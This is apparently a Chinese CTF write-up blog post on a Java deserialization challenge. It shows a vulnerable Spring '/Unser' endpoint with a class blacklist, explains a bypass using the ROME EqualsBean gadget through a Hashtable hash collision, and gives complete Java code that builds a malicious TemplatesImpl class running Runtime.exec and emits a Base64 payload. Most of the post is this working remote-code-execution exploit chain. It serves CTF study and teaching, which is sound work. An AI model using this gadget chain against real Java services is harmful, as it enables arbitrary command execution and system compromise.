看看 Controller

public class IndexController {
    @RequestMapping({"/"})
    @ResponseBody
    public String index() {
        return "Have fun!";
    }
    @RequestMapping({"/Unser"})
    @ResponseBody
    public String BackDoor(@RequestParam(name = "data", required = true) String data) throws Exception {
        Object object = null;
        try {
            object = new WafObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data)), new HashSet() { // from class: com.ctf.controller.IndexController.1
                {
                    add("com.sun.syndication.feed.impl.ObjectBean");
                    add("com.sun.syndication.feed.impl.ToStringBean");
                    add("javax.management.BadAttributeValueExpException");
                }
            }).readObject();
        } catch (IOException var12) {
            var12.printStackTrace();
        } catch (ClassNotFoundException var13) {
            var13.printStackTrace();
        }
        if (object == null) {
            return "Come on Ctfers!Just do it!";
        }
        try {
            return "Come on Ctfers!Just do it!" + object.toString();
        } catch (Exception e) {
            return "Come on Ctfers!Just do it!";
        }
    }
}

这里不让用 ToStringBean ,但是看看 rome 包里还有 EqualsBeanbeanEquals 可以用

image-20220708164448293

这样的话可以寻找一下哪里调用了 EqualsBean.equals ,我这想到了 cc7

image-20220708164644405

然后我们一路跟进说一下注意的地方

image-20220708164830859

image-20220708164858493

这里需要保证 Hashtable put 进入的两个对象的 hash 值相同才会调用这个 euqals

https://y4tacker.github.io/2022/03/07/year/2022/3/ROME 改造计划 /#Step1–改造利用链

利用 y4 师傅这里可以解决,即如下传入两个 Hashmap 即可

HashMap1.put("aa","1");
HashMap1.put("aa","2");
HashMap2.put("aa","2");
HashMap2.put("aa","1");
Hashtable.put(HashMap1,"test");
Hashtable.put(HashMap2,"test");

这里直接构造为

HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",bean);
        map1.put("bB",templates);
        map2.put("aa",templates);
        map2.put("bB",bean);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, "test");
        hashtable.put(map2, "test");

image-20220708165347531

此时 e.keyhashmapkey 也为 hashmap ,并且作为参数传入 equals

image-20220708165636382

可以看到 valueEqualsBean , m.get(key) 为从 hashmap 中取出 aa 键对应的值,即 TemplatesImpl

为什么要是 TemplatesImpl ,因为在后面 EqualsBeanbeanEquals

image-20220708170323210

看到

PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);

如果想执行 TemplatesImpl 中的命令,这里 _beanClass 就必须为 Templates.class

再往上看

image-20220708170113414

如果这里的 bean2 ,即传入的 m.get(key) 不是 _beanClass 的类型话,就会直接跳过剩下的

所以 hashmap 一个传入的另一个值必须为 TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import static marshalsec.util.Reflections.setFieldValue;
public class test {
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        EqualsBean bean = new EqualsBean(String.class,"");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",bean);
        map1.put("bB",templates);
        map2.put("aa",templates);
        map2.put("bB",bean);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, "test");
        hashtable.put(map2, "test");
        
        setFieldValue(bean,"_beanClass",Templates.class);
        setFieldValue(bean,"_obj",templates);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
       // oos.writeInt(1);
        oos.writeObject(hashtable);
        oos.close();
        String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(payload);
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

image-20220708170714025

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝